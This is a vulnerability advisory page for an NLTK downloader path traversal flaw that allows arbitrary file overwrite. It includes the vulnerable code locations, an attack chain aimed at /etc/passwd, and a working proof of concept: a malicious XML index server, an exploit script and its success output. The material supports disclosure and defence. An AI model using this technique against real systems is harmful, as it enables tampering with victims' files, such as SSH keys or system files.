Alta

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

  • Publicada: 19.03.2026
  • Actualizado: 11.10.2026 15:17

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

python
self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

python
filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

python
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

python
with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
bash
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

bash
python3 malicious_server.py

Step 2: Run exploit script

bash
python3 exploit_vulnerability.py

Step 3: Verify results

bash
ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

python
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

python
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
    
    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
    
    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) nltk <= 3.9.2 sin corrección

Referencias

Puntuación CVSS 8.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Debilidad (CWE)
CWE-22
Plataforma
Python (PyPI)
Paquete
nltk
Publicada
19.03.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2237 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-469j-vmhf-r6v7 - CC BY 4.0

Historial de vulnerabilidades: nltk

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (52) en el archivo
Entradas en total
52
Primera → última
08.2019 09.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 32
  • Media 13
  • Baja 2

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Gravedad:
  1. Alta · 7.0 CVE-2026-81726 <= 3.10.3 sin corrección
  2. Alta CVE-2026-79674 < 3.10.3 3.10.3
  3. Alta · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. Alta · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  5. NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite esta entrada
    Alta · 8.1 CVE-2026-33236 <= 3.9.2 sin corrección
  6. Alta · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
  7. Crítica · 10.0 CVE-2025-14009 < 3.9.3 3.9.3
  8. Alta · 7.5 CVE-2024-39705 < 3.9 3.9
  9. Alta · 7.5 CVE-2021-3842 < 3.6.6 3.6.6
  10. Alta · 7.5 CVE-2021-3828 < 3.6.4 3.6.4
  11. Alta · 7.5 CVE-2019-14751 < 3.4.5 3.4.5

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